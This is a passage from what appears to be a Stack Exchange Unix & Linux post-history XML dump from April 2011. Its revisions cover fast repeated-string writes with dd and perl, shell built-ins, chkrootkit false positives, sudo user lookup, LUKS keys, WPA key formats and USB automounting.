  <row Id="27825" PostHistoryTypeId="5" PostId="11464" RevisionGUID="d443043d-79ac-4175-93d7-aaac58ddc9e0" CreationDate="2011-04-16T17:18:20.287" UserId="2343" Comment="added 134 characters in body; added 16 characters in body" Text="`dd` can write repeating `\0` *bytes* to a file very fast, but it can't write repeating arbitary strings.       &#xD;&#xA;Is there a *bash-shell* method to write repeating arbitary **strings** equally as fast as 'dd' (including `\0` ) ?   &#xD;&#xA;&#xD;&#xA;All the suggestions I've encountered in 6 months of linux are things like `printf &quot;%${1}s&quot; |sed -e &quot;s/ /${2}/g&quot;`, but this is painfully slow compared to `dd`, as shown below.. and `sed` crashes after approx 384 MB (on my box).. actually that's not bad for a single line-length :) but it did crash!  &#xD;&#xA;I  suppose that wouldn't be an issue for 'sed', if the string contained a newline).   &#xD;&#xA;&#xD;&#xA;Speed Comparison 'dd' vs 'printf+sed'  &#xD;&#xA;  &#xD;&#xA;                                real        user        sys       &#xD;&#xA;    WRITE 384 MB: 'dd'          0m03.833s   0m00.004s   0m00.548s&#xD;&#xA;    WRITE 384 MB: 'printf+sed'  1m39.551s   1m34.754s   0m02.968s&#xD;&#xA;    &#xD;&#xA;    # the two commands used   &#xD;&#xA;    dd if=/dev/zero bs=1024 count=$((1024*1024*384))&#xD;&#xA;    printf &quot;%$((1024*1024*1024*384))s&quot; |sed -e &quot;s/ /x/g&quot;&#xD;&#xA;&#xD;&#xA;I have an idea how to do this in a *bash-shell* script. It is looking promising, but it is currently a &quot;fait **un**-accompli&quot;, and there's no point re-inventing the wheel :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27826" PostHistoryTypeId="5" PostId="11464" RevisionGUID="aee025ed-ecf1-47bd-b951-f903b66fd0f2" CreationDate="2011-04-16T17:27:52.450" UserId="2343" Comment="deleted 1 characters in body; deleted 71 characters in body" Text="`dd` can write repeating `\0` *bytes* to a file very fast, but it can't write repeating arbitary strings.       &#xD;&#xA;Is there a *bash-shell* method to write repeating arbitary **strings** equally as fast as 'dd' (including `\0` ) ?   &#xD;&#xA;&#xD;&#xA;All the suggestions I've encountered in 6 months of linux are things like `printf &quot;%${1}s&quot; |sed -e &quot;s/ /${2}/g&quot;`, but this is painfully slow compared to `dd`, as shown bel402653184ow.. and `sed` crashes after approx 384 MB (on my box).. actually that's not bad for a single line-length :) but it did crash!  &#xD;&#xA;I  suppose that wouldn't be an issue for 'sed', if the string contained a newline).   &#xD;&#xA;&#xD;&#xA;Speed Comparison 'dd' vs 'printf+sed'  &#xD;&#xA;  &#xD;&#xA;                                real        user        sys       &#xD;&#xA;    WRITE 384 MB: 'dd'          0m03.833s   0m00.004s   0m00.548s&#xD;&#xA;    WRITE 384 MB: 'printf+sed'  1m39.551s   1m34.754s   0m02.968s&#xD;&#xA;    &#xD;&#xA;    # the two commands used   &#xD;&#xA;    dd if=/dev/zero bs=1024 count=$((1024*384))&#xD;&#xA;    printf &quot;%$((1024*1024*384))s&quot; |sed -e &quot;s/ /x/g&quot;&#xD;&#xA;&#xD;&#xA;I have an idea how to do this in a *bash-shell* script. but there's no point re-inventing the wheel :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27827" PostHistoryTypeId="2" PostId="11465" RevisionGUID="1126dec6-4511-4de6-b23d-6d4201af23ed" CreationDate="2011-04-16T17:29:57.877" UserId="2421" Text="From your comments, you seem to be confused about exactly what a _shell_ is.  The kernel is responsible for managing the system.  It's the part that actually loads and runs programs, accesses files, allocates memory, etc.  But the kernel has no user interface; you can only communicate with it by using another program as an intermediary.&#xD;&#xA;&#xD;&#xA;A shell is a program that prints a prompt, reads a line of input from you, and then interprets it as one or more commands to manipulate files or run other programs.  Before the invention of the GUI, the shell was the primary user interface of an OS.  On MS-DOS, the shell was called `command.com` and few people ever tried to use a different one.  On Unix, however, there have long been multiple shells that users could pick from.&#xD;&#xA;&#xD;&#xA;They can be divided into 3 types.  The Bourne-compatible shells use the syntax derived from the original [Bourne shell][1].  C-shells use the syntax from the original [C shell][2].  Then there are nontraditional shells that invent their own syntax, or borrow one from some programming language, and are generally much less popular than the first two types.&#xD;&#xA;&#xD;&#xA;A built-in command is simply a command that the shell carries out itself, instead of interpreting it as a request to load and run some other program.  This has two main effects.  First, it's usually faster, because loading and running a program takes time.  Of course, the longer the command takes to run, the less significant the load time is compared to the overall run time (because the load time is fairly constant).&#xD;&#xA;&#xD;&#xA;Secondly, a built-in command can affect the internal state of the shell. That's why commands like `cd` _must_ be built-in, because an external program can't change the current directory of the shell.  Other commands, like `echo`, might be built-in for efficiency, but there's no intrinsic reason they can't be external commands.&#xD;&#xA;&#xD;&#xA;Which commands are built-in depends on the shell that you're using.  You'll have to consult its documentation for a list.  The `type` command can tell you if a command is built-in (if your shell is POSIX-compatible), because POSIX requires that `type` be a built-in.  If `which` is not a built-in in your shell, then it probably won't know about your shell's built-ins, but will just look for external programs.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Bourne_shell&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/C_shell&#xD;&#xA;" />
  <row Id="27828" PostHistoryTypeId="2" PostId="11466" RevisionGUID="1c4864a9-b613-4489-837b-d9e9b7716459" CreationDate="2011-04-16T17:36:59.997" UserId="885" Text="The `.*.hmac` files [are signature files for some cryptographic software](http://lists.fedoraproject.org/pipermail/users/2010-August/380650.html), created by [fipscheck](https://fedorahosted.org/fipscheck/). Their presence is not suspicious at all. They seem to be [common](http://www.google.com/search?q=chkrootkit+%22hmac%22) [false](http://forums.fedoraforum.org/archive/index.php/t-231994.html) [positives](http://forums.fedoraforum.org/archive/index.php/t-243765.html) from chkrootkit on Fedora.&#xD;&#xA;&#xD;&#xA;As for the `firefox-3.6/.autoreg` file, which is a normal part of Firefox, you're [not](https://bugzilla.redhat.com/show_bug.cgi?id=225322) [the](http://ubuntuforums.org/showthread.php?t=352166) [first](http://www.linuxquestions.org/questions/linux-security-4/how-do-you-know-someone-has-tried-to-get-into-your-fedora-based-hd-849812/) to see chkrootkit complain about it. &#xD;&#xA;&#xD;&#xA;The non-existent `/proc/2980/fd/129` is probably because process 2980 closed the file (or even exited) just while chkrootkit was reaching it.&#xD;&#xA;&#xD;&#xA;You would get more information without `-q`.&#xD;&#xA;&#xD;&#xA;Chances are that these are false positives. On the other hand, an attacker aware of chkrootkit might deliberately plant her malware inside one of these known common false positives. On the gripping hand, running chkrootkit from within the system you're checking is pretty much useless: a well-written malware would hack into the kernel and arrange to make everything look normal to chkrootkit and other intrusion or malware detection tools.&#xD;&#xA;" />
  <row Id="27829" PostHistoryTypeId="2" PostId="11467" RevisionGUID="dfab7036-e8c9-473a-a12d-d1e576fa3f53" CreationDate="2011-04-16T17:49:48.023" UserId="5842" Text="    $ time perl -e \&#xD;&#xA;        '$count=1024*1024; while ($count&gt;0) { print &quot;x&quot; x 384; $count--; }' &gt; out&#xD;&#xA;    real	0m1.284s&#xD;&#xA;    user	0m0.316s&#xD;&#xA;    sys	0m0.961s&#xD;&#xA;    $ ls -lh out&#xD;&#xA;    -rw-r--r-- 1 me group 384M Apr 16 19:47 out&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Replace `&quot;x&quot; x 384` (which produces a string of 384 `x`s) with whatever you like.&#xD;&#xA;&#xD;&#xA;For reference, I get this time:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ time dd if=/dev/zero bs=1024 count=$((1024*384)) of=./out&#xD;&#xA;    393216+0 records in&#xD;&#xA;    393216+0 records out&#xD;&#xA;    402653184 bytes (403 MB) copied, 1.41404 s, 285 MB/s&#xD;&#xA;    &#xD;&#xA;    real	0m1.480s&#xD;&#xA;    user	0m0.054s&#xD;&#xA;    sys	0m1.410s&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27830" PostHistoryTypeId="2" PostId="11468" RevisionGUID="1341af0e-679d-4c9f-82ff-d4a9035fe53c" CreationDate="2011-04-16T17:56:05.417" UserId="885" Text="It's generally expected that shells are slow at processing large pieces of data. For most scripts, you know in advance which bits of data are likely to be small and which bits of data are likely to be large.&#xD;&#xA;&#xD;&#xA;* Prefer to rely on shell built-ins for small data, because forking and exec'ing an external process induces a constant overhead.&#xD;&#xA;* Prefer to rely on external, special-purpose tools for large data, because special-purpose compiled tools are more efficient than an interpreted general-purpose language.&#xD;&#xA;&#xD;&#xA;`dd` makes `read` and `write` calls that use the block size. You can observe this with strace (or truss, trace, … depending on your OS):&#xD;&#xA;&#xD;&#xA;    $ strace -s9 dd if=/dev/zero of=/dev/null ibs=1024k obs=2048k count=4&#xD;&#xA;    ✄&#xD;&#xA;    read(0, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 1048576) = 1048576&#xD;&#xA;    read(0, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 1048576) = 1048576&#xD;&#xA;    write(1, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 2097152) = 2097152&#xD;&#xA;    read(0, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 1048576) = 1048576&#xD;&#xA;    read(0, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 1048576) = 1048576&#xD;&#xA;    write(1, &quot;\0\0\0\0\0\0\0\0\0&quot;..., 2097152) = 2097152&#xD;&#xA;    ✄&#xD;&#xA;&#xD;&#xA;Most other tools have a much lower cap on the maximum buffer size, so they would make more syscalls, and hence take more time. But note that this is an unrealistic benchmark: if you were writing to a regular file or a pipe or a socket, the kernel would probably not write more than a few kilobytes per syscall anyway.&#xD;&#xA;" />
  <row Id="27831" PostHistoryTypeId="6" PostId="11464" RevisionGUID="019da0bc-cdd1-4252-9d61-00fe2b5f50c8" CreationDate="2011-04-16T17:56:20.283" UserId="885" Comment="edited tags" Text="ébashàéshellöscriptàéddà" />
  <row Id="27832" PostHistoryTypeId="2" PostId="11469" RevisionGUID="2aabb184-71ef-4d73-b190-2ba73ce30887" CreationDate="2011-04-16T18:05:11.683" UserId="6649" Text="    root@ip-10-194-97-94:~# apt-get install uwsgi&#xD;&#xA;Reading package lists... Done&#xD;&#xA;Building dependency tree       &#xD;&#xA;Reading state information... Done&#xD;&#xA;Some packages could not be installed. This may mean that you have&#xD;&#xA;requested an impossible situation or if you are using the unstable&#xD;&#xA;distribution that some required packages have not yet been created&#xD;&#xA;or been moved out of Incoming.&#xD;&#xA;The following information may help to resolve the situation:&#xD;&#xA;&#xD;&#xA;The following packages have unmet dependencies:&#xD;&#xA;  uwsgi: Depends: uwsgi-python2.6 (&gt;= 0.9.6.5-0ubuntu1~lucid1) or&#xD;&#xA;                  uwsgi-python3.1 (&gt;= 0.9.6.5-0ubuntu1~lucid1)&#xD;&#xA;E: Broken packages&#xD;&#xA;" />
  <row Id="27833" PostHistoryTypeId="1" PostId="11469" RevisionGUID="2aabb184-71ef-4d73-b190-2ba73ce30887" CreationDate="2011-04-16T18:05:11.683" UserId="6649" Text="Can't install uwsgi on ubuntu" />
  <row Id="27834" PostHistoryTypeId="3" PostId="11469" RevisionGUID="2aabb184-71ef-4d73-b190-2ba73ce30887" CreationDate="2011-04-16T18:05:11.683" UserId="6649" Text="éinstallàéaptà" />
  <row Id="27835" PostHistoryTypeId="25" PostId="11454" RevisionGUID="1315d2ce-22e0-40f2-aead-5e3e00423fb2" CreationDate="2011-04-16T18:09:09.800" Comment="http://twitter.com/#!/StackUnix/status/59317421483368448" />
  <row Id="27836" PostHistoryTypeId="5" PostId="11469" RevisionGUID="aa7b5fea-6065-4417-b815-12f320a98473" CreationDate="2011-04-16T18:18:09.400" UserId="885" Comment="formatting" Text="    root@ip-10-194-97-94:~# apt-get install uwsgi&#xD;&#xA;&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Some packages could not be installed. This may mean that you have&#xD;&#xA;    requested an impossible situation or if you are using the unstable&#xD;&#xA;    distribution that some required packages have not yet been created&#xD;&#xA;    or been moved out of Incoming.&#xD;&#xA;    The following information may help to resolve the situation:&#xD;&#xA;    &#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      uwsgi: Depends: uwsgi-python2.6 (&gt;= 0.9.6.5-0ubuntu1~lucid1) or&#xD;&#xA;                      uwsgi-python3.1 (&gt;= 0.9.6.5-0ubuntu1~lucid1)&#xD;&#xA;    E: Broken packages&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27838" PostHistoryTypeId="2" PostId="11470" RevisionGUID="51a96b55-4d4e-49b2-9ae8-c4f3a2b9f27e" CreationDate="2011-04-16T18:28:21.863" UserId="4289" Text="Some days ago I read a question that is similar to this, so I apologize if this is a duplicate, but I don't remember that title...&#xD;&#xA;&#xD;&#xA;My problem: I have a Python program, and the user launch it using `sudo`. Sometimes I have to get the user's home, and I can do this only knowing its name:&#xD;&#xA;&#xD;&#xA;    import pwd&#xD;&#xA;    &#xD;&#xA;    pwd.getpwnam(username)&#xD;&#xA;&#xD;&#xA;So: how can I get the name of the user that launched the program?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;rubik" />
  <row Id="27839" PostHistoryTypeId="1" PostId="11470" RevisionGUID="51a96b55-4d4e-49b2-9ae8-c4f3a2b9f27e" CreationDate="2011-04-16T18:28:21.863" UserId="4289" Text="How to get the name of the user that launched `sudo`" />
  <row Id="27840" PostHistoryTypeId="3" PostId="11470" RevisionGUID="51a96b55-4d4e-49b2-9ae8-c4f3a2b9f27e" CreationDate="2011-04-16T18:28:21.863" UserId="4289" Text="éusersàésudoàépythonà" />
  <row Id="27841" PostHistoryTypeId="2" PostId="11471" RevisionGUID="04d96350-ace1-4ad4-ad6c-c08a7a867af8" CreationDate="2011-04-16T18:39:58.967" UserId="1925" Text="When you fire off something with `sudo` a couple of environment variables get set, specifically I think you are looking for `SUDO_UID`. These should be accessible to any program running through the usual channels of accessing environment variables. &#xD;&#xA;&#xD;&#xA;You can see the other things set by cheating like this from a shell: `sudo env | grep SUDO`" />
  <row Id="27842" PostHistoryTypeId="5" PostId="11470" RevisionGUID="8b596e72-5241-4100-8eb5-9a401ece9888" CreationDate="2011-04-16T18:50:32.363" UserId="1925" Comment="Don't sign questions, use your profile to identify yourself. Thank by voting. Deleted intro because it won't be useful as an archived part of the question." Text="My problem: I have a Python program, and the user launch it using `sudo`. Sometimes I have to get the user's home, and I can do this only knowing its name:&#xD;&#xA;&#xD;&#xA;    import pwd&#xD;&#xA;    &#xD;&#xA;    pwd.getpwnam(username)&#xD;&#xA;&#xD;&#xA;So: how can I get the name of the user that launched the program?" />
  <row Id="27843" PostHistoryTypeId="24" PostId="11470" RevisionGUID="8b596e72-5241-4100-8eb5-9a401ece9888" CreationDate="2011-04-16T18:50:32.363" Comment="Proposed by 1925 approved by 885 edit id of 278" />
  <row Id="27844" PostHistoryTypeId="2" PostId="11472" RevisionGUID="fc73cf88-0fc8-49ef-bfd2-80a67c351eec" CreationDate="2011-04-16T19:07:41.750" UserId="5184" Text="For minimal installations of Debian, I have been using `halevt` to enable automounting of USB drives. `Halevt` is reliable and requires no configuration aside from installing the package. Now, `halevt` has been removed from Debian Testing and I'm looking for a replacement, but none of the alternatives seem to be as straightforward.&#xD;&#xA;&#xD;&#xA;What utility for automounting USB drives would be the most lightweight, simple, and stable?" />
  <row Id="27845" PostHistoryTypeId="1" PostId="11472" RevisionGUID="fc73cf88-0fc8-49ef-bfd2-80a67c351eec" CreationDate="2011-04-16T19:07:41.750" UserId="5184" Text="Replacement for halevt?" />
  <row Id="27846" PostHistoryTypeId="3" PostId="11472" RevisionGUID="fc73cf88-0fc8-49ef-bfd2-80a67c351eec" CreationDate="2011-04-16T19:07:41.750" UserId="5184" Text="élinuxàédebianàéusbàéautomountingà" />
  <row Id="27847" PostHistoryTypeId="2" PostId="11473" RevisionGUID="d1cbd82b-57f0-42f9-99a9-1b1c281479cf" CreationDate="2011-04-16T19:09:03.803" UserId="3389" Text="I'm not aware of a way to change LUKS keys without `cryptsetup`.  I'll edit this if I find a way.  But I think I can help you with everything else.&#xD;&#xA;&#xD;&#xA;I think you need clarity on how encryption fits into the grand scheme of things.&#xD;&#xA;&#xD;&#xA;`dm_crypt` works on anything that looks like a block device.  This can be an entire hard drive (i.e. `/dev/sda`), a single partition of that hard drive (i.e. `/dev/sda1`), or VG (volume group) (i.e. `/dev/volume_group`).&#xD;&#xA;&#xD;&#xA;A VG will have previously been made a PV (physical volume) by bring set up using `pvcreate` on one or more real disk partitions (like `/dev/sda1`).  Then, all of the PVs are junctioned into a VG using `vgcreate`, which then creates a new device representing the VG in `/dev`.  Once you create the VG you need to format it by issuing a command such as `mkfs.ext4 /dev/volume_group`, and then `mount /dev/volume_group` to wherever.  Looking at a plain`mount` command run as root should give you an idea of what is where on your system.&#xD;&#xA;&#xD;&#xA;An encrypted volume must be created by passing a block device (doesn't matter whether it's a real disk or a VG) to `cryptsetup luksFormat`.  Then, to use it, you need to open that block device using `cryptsetup luksOpen`; this will create another &quot;virtual&quot; block device in `/dev/mapper`, i.e. `/dev/mapper/encrypted`.  This is then what you want to give to tools like `mkfs.ext4`, `fsck`, and `mount` to actually use the encrypted block device.&#xD;&#xA;&#xD;&#xA;Truly unmounting the volume will involve `umount /dev/mapper/encrypted` to disconnect the filesystem and then a `cryptsetup luksClose encrypted` to disconnect the virtual block device.&#xD;&#xA;&#xD;&#xA;`cryptsetup` allows adding (`luksAddKey`) and removing (`luksDelKey`) keys.  I think you can have up to 8 keys.  A key is changed by adding a new key and then deleting the old key.&#xD;&#xA;&#xD;&#xA;Specific syntax for all the `cryptsetup` options are here: http://linux.die.net/man/8/cryptsetup&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27850" PostHistoryTypeId="2" PostId="11475" RevisionGUID="3f843efd-f1e8-4599-9ab2-eab7d9a39c4c" CreationDate="2011-04-16T20:29:15.047" UserId="4485" Text="I made different experiences with my router, depending on the settings, whether to allow type b, type g or both b/g. I had very unstable connections with the setting 'both'. &#xD;&#xA;&#xD;&#xA;But I don't know much about technical details. It's only an idea of what to look for. Maybe an additional USB-WLAN-Stick is the best solution, if you inform yourself, which works natively good with linux - they aren't expensive any more, afaik. " />
  <row Id="27851" PostHistoryTypeId="25" PostId="11472" RevisionGUID="b8523878-a2ad-4bb2-943b-7e783090fd71" CreationDate="2011-04-16T21:09:09.767" Comment="http://twitter.com/#!/StackUnix/status/59362718926376960" />
  <row Id="27852" PostHistoryTypeId="5" PostId="11465" RevisionGUID="0412b3ca-4c8f-455a-8929-c328ae9b5c76" CreationDate="2011-04-16T21:57:57.273" UserId="2421" Comment="link to bash builtins" Text="From your comments, you seem to be confused about exactly what a _shell_ is.  The kernel is responsible for managing the system.  It's the part that actually loads and runs programs, accesses files, allocates memory, etc.  But the kernel has no user interface; you can only communicate with it by using another program as an intermediary.&#xD;&#xA;&#xD;&#xA;A shell is a program that prints a prompt, reads a line of input from you, and then interprets it as one or more commands to manipulate files or run other programs.  Before the invention of the GUI, the shell was the primary user interface of an OS.  On MS-DOS, the shell was called `command.com` and few people ever tried to use a different one.  On Unix, however, there have long been multiple shells that users could pick from.&#xD;&#xA;&#xD;&#xA;They can be divided into 3 types.  The Bourne-compatible shells use the syntax derived from the original [Bourne shell][1].  C shells use the syntax from the original [C shell][2].  Then there are nontraditional shells that invent their own syntax, or borrow one from some programming language, and are generally much less popular than the first two types.&#xD;&#xA;&#xD;&#xA;A built-in command is simply a command that the shell carries out itself, instead of interpreting it as a request to load and run some other program.  This has two main effects.  First, it's usually faster, because loading and running a program takes time.  Of course, the longer the command takes to run, the less significant the load time is compared to the overall run time (because the load time is fairly constant).&#xD;&#xA;&#xD;&#xA;Secondly, a built-in command can affect the internal state of the shell. That's why commands like `cd` _must_ be built-in, because an external program can't change the current directory of the shell.  Other commands, like `echo`, might be built-in for efficiency, but there's no intrinsic reason they can't be external commands.&#xD;&#xA;&#xD;&#xA;Which commands are built-in depends on the shell that you're using.  You'll have to consult its documentation for a list (e.g., `bash`'s built-in commands are listed in [Chapter 4 of its manual][3]).  The `type` command can tell you if a command is built-in (if your shell is POSIX-compatible), because POSIX requires that `type` be a built-in.  If `which` is not a built-in in your shell, then it probably won't know about your shell's built-ins, but will just look for external programs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Bourne_shell&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/C_shell&#xD;&#xA;  [3]: http://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html" />
  <row Id="27853" PostHistoryTypeId="5" PostId="11465" RevisionGUID="76f19d35-ff52-4f31-9bb7-0fccfc3f17f5" CreationDate="2011-04-16T22:41:30.310" UserId="2421" Comment="link to Unix_shell on Wikipedia" Text="From your comments, you seem to be confused about exactly what a _shell_ is.  The kernel is responsible for managing the system.  It's the part that actually loads and runs programs, accesses files, allocates memory, etc.  But the kernel has no user interface; you can only communicate with it by using another program as an intermediary.&#xD;&#xA;&#xD;&#xA;A shell is a program that prints a prompt, reads a line of input from you, and then interprets it as one or more commands to manipulate files or run other programs.  Before the invention of the GUI, the shell was the primary user interface of an OS.  On MS-DOS, the shell was called `command.com` and few people ever tried to use a different one.  On Unix, however, there have long been [multiple shells][1] that users could pick from.&#xD;&#xA;&#xD;&#xA;They can be divided into 3 types.  The Bourne-compatible shells use the syntax derived from the original [Bourne shell][2].  C shells use the syntax from the original [C shell][3].  Then there are nontraditional shells that invent their own syntax, or borrow one from some programming language, and are generally much less popular than the first two types.&#xD;&#xA;&#xD;&#xA;A built-in command is simply a command that the shell carries out itself, instead of interpreting it as a request to load and run some other program.  This has two main effects.  First, it's usually faster, because loading and running a program takes time.  Of course, the longer the command takes to run, the less significant the load time is compared to the overall run time (because the load time is fairly constant).&#xD;&#xA;&#xD;&#xA;Secondly, a built-in command can affect the internal state of the shell. That's why commands like `cd` _must_ be built-in, because an external program can't change the current directory of the shell.  Other commands, like `echo`, might be built-in for efficiency, but there's no intrinsic reason they can't be external commands.&#xD;&#xA;&#xD;&#xA;Which commands are built-in depends on the shell that you're using.  You'll have to consult its documentation for a list (e.g., `bash`'s built-in commands are listed in [Chapter 4 of its manual][4]).  The `type` command can tell you if a command is built-in (if your shell is POSIX-compatible), because POSIX requires that `type` be a built-in.  If `which` is not a built-in in your shell, then it probably won't know about your shell's built-ins, but will just look for external programs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_shell&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Bourne_shell&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/C_shell&#xD;&#xA;  [4]: http://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html" />
  <row Id="27854" PostHistoryTypeId="2" PostId="11476" RevisionGUID="2e9a49c0-f48d-4893-b879-2982865c09f8" CreationDate="2011-04-16T22:48:58.737" UserId="3127" Text="I'm temporarily in a situation where the wifi network I need to use is implemented using macintosh equipment. They have encoded their network using wpa and TKIP. I can't seem to get onto their network and I *think* I've tracked the problem down to the pre-shared key format. When others (using macs) enter the psk into thier mac interface thing, they use a 13 digit code that is all integers [0-9], e.g. &quot;0123456789123&quot; . In my wpa1.conf file, which is used by wpa_supplicant to configure iwconfig, I have a line in the network block: psk=&quot;0123456789123&quot; . I *think* that I should be entering a hex string (yes, I know this *could* be a hex string already). &#xD;&#xA;&#xD;&#xA;Does anyone here have any experience with mac's UI concerning the format psk's are entered in,  and whether I need to change them into hex to use a psk in my linux (slackware 13.1)?&#xD;&#xA;&#xD;&#xA;Note that my wireless setup works fine in other environments that don't use wpa or a pre-shared key which indicates that the hardware and firmware are ok.&#xD;&#xA;&#xD;&#xA;TIA." />
  <row Id="27855" PostHistoryTypeId="1" PostId="11476" RevisionGUID="2e9a49c0-f48d-4893-b879-2982865c09f8" CreationDate="2011-04-16T22:48:58.737" UserId="3127" Text="WPA pre-shared key format in linux and macintosh" />
  <row Id="27856" PostHistoryTypeId="3" PostId="11476" RevisionGUID="2e9a49c0-f48d-4893-b879-2982865c09f8" CreationDate="2011-04-16T22:48:58.737" UserId="3127" Text="éwifià" />
  <row Id="27857" PostHistoryTypeId="4" PostId="11257" RevisionGUID="1741b5f3-2d9d-4f98-a157-b0dca593601d" CreationDate="2011-04-16T22:53:34.893" UserId="1100" Comment="changes to the title" Text="When networkmanager is used, OpenSuSe gets stuck during boot for 10 minutes" />
  <row Id="27858" PostHistoryTypeId="24" PostId="11257" RevisionGUID="1741b5f3-2d9d-4f98-a157-b0dca593601d" CreationDate="2011-04-16T22:53:34.893" Comment="Proposed by 1100 approved by 885 edit id of 279" />
  <row Id="27859" PostHistoryTypeId="2" PostId="11477" RevisionGUID="15ffb4b0-10ba-4cfc-bc42-bf10602a9625" CreationDate="2011-04-16T23:10:55.953" UserId="688" Text="I followed [these instructions][1] to build Shadow, which provides the **`groupadd`** command. I am now getting an error when trying this:&#xD;&#xA;&#xD;&#xA;    $ groupadd automake1.10&#xD;&#xA;    groupadd: 'automake1.10' is not a valid group name&#xD;&#xA;&#xD;&#xA;I checked alphanumeric names, and they work okay.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/lfs/view/stable/chapter06/shadow.html" />
  <row Id="27860" PostHistoryTypeId="1" PostId="11477" RevisionGUID="15ffb4b0-10ba-4cfc-bc42-bf10602a9625" CreationDate="2011-04-16T23:10:55.953" UserId="688" Text="What are the allowed group names for groupadd?" />
  <row Id="27861" PostHistoryTypeId="3" PostId="11477" RevisionGUID="15ffb4b0-10ba-4cfc-bc42-bf10602a9625" CreationDate="2011-04-16T23:10:55.953" UserId="688" Text="égroupà" />
  <row Id="27862" PostHistoryTypeId="5" PostId="11289" RevisionGUID="83f49234-2fbe-47cf-a4be-06d5f4822f0f" CreationDate="2011-04-16T23:13:30.523" UserId="5664" Comment="added 393 characters in body" Text="I installed Fedora 14 first, then Ubuntu 10.04. I installed them using dm_crypt/aes256/lvm, so I used encrypted VolumeGroups. At the end of the Ubuntu install it said it cannot install GRUB, so I had to use SuperGRUBdisk to start Fedora and give the command:&#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Now I can boot to Fedora normally, without using supergrubdisk, but the problem is, I can't boot to Ubuntu!&#xD;&#xA;&#xD;&#xA;Is there any working way to install Fedora 14 &amp; Ubuntu 10.04 using (separated) encrypted VolumeGroups (each volumegroup with other password)? Such that 2 users (who knows the root passwords of their own distro) can use 1 PC but not see each other's files?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;I tried it in reverse order: I first installed the Ubuntu, then the Fedora. Fedora didn't gave error messages regarding grub when installing, but it's still the same: I can't see the Ubuntu in the &quot;grub boot list&quot;, when booting the PC.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What could be the problem? The boot manager doesn't recongize that, that there is another distro on the HDD? Why? What should i do?&#xD;&#xA;" />
  <row Id="27863" PostHistoryTypeId="2" PostId="11478" RevisionGUID="39065532-2fb5-4186-82ee-8ab199a2c60d" CreationDate="2011-04-16T23:18:42.773" UserId="3169" Text="[udev](http://www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html) or [UDisksEvt](https://github.com/dpx-infinity/udisksevt).&#xD;&#xA;&#xD;&#xA;* [Automounting UDisks wrappers](https://wiki.archlinux.org/index.php/Udev#Automounting_UDisks_Wrappers)&#xD;&#xA;* [Writing udev rules](http://reactivated.net/writing_udev_rules.html)" />
  <row Id="27864" PostHistoryTypeId="5" PostId="11478" RevisionGUID="d2ec0c90-23c7-4c0a-a9a6-c29b385890e1" CreationDate="2011-04-16T23:24:16.827" UserId="3169" Comment="added 428 characters in body; added 231 characters in body" Text="The disk-based features of HAL were replaced by [udisks](http://www.freedesktop.org/wiki/Software/udisks).&#xD;&#xA;&#xD;&#xA;There are a few options based on udisks:&#xD;&#xA;&#xD;&#xA;* [UDisksEvt](https://github.com/dpx-infinity/udisksevt)&#xD;&#xA;* [devmon](http://igurublog.wordpress.com/downloads/script-devmon/)&#xD;&#xA;* [udiskie](https://bitbucket.org/byronclark/udiskie)&#xD;&#xA;&#xD;&#xA;I couldn't find any of those in the [testing repository](http://www.debian.org/distrib/packages), so you might have to find a third-party apt repository, or follow their instructions to compile the software on your own machine.&#xD;&#xA;&#xD;&#xA;Or maybe you could roll something of your own using [udev](http://www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html) if none of those work out.&#xD;&#xA;&#xD;&#xA;This page looks helpful:&#xD;&#xA;&#xD;&#xA;* [Automounting UDisks wrappers](https://wiki.archlinux.org/index.php/Udev#Automounting_UDisks_Wrappers)&#xD;&#xA;&#xD;&#xA;And for more information about udev:&#xD;&#xA;&#xD;&#xA;* [Writing udev rules](http://reactivated.net/writing_udev_rules.html)" />
  <row Id="27865" PostHistoryTypeId="2" PostId="11479" RevisionGUID="040af151-c8c7-4c25-b25f-0cf0db9b8d95" CreationDate="2011-04-16T23:33:37.337" UserId="5770" Text="I want to install FreeBSD today on a spare HDD I have lying around. I'd like to give it a trial run, learn a few things, and if it suits me I'll replace my current Ubuntu 10.10 'server/NAS/encoding box' with it. Curiosity is the main reason. I also want to see most of the major bugs ironed out of GNOME 3/Unity before I jump aboard the next Ubuntu iteration.&#xD;&#xA;&#xD;&#xA;I have no experience with the BSDs (except for OS X) but I have installed and used quite a few Linux distros over the years. I have a *fairly* good understanding of how to get Linux up and running, including some of the roll-your-own distros such as Arch. But I'm not an expert by any stretch of the imagination. Basically, I'd say I'm better than my grandma is.&#xD;&#xA;&#xD;&#xA;So is there anything that I should keep in mind when installing FreeBSD for the first time? In particular, are there any major differences between installing and setting up FreeBSD and a Linux distro? Furthermore, should I be using a i386 release? I read somewhere 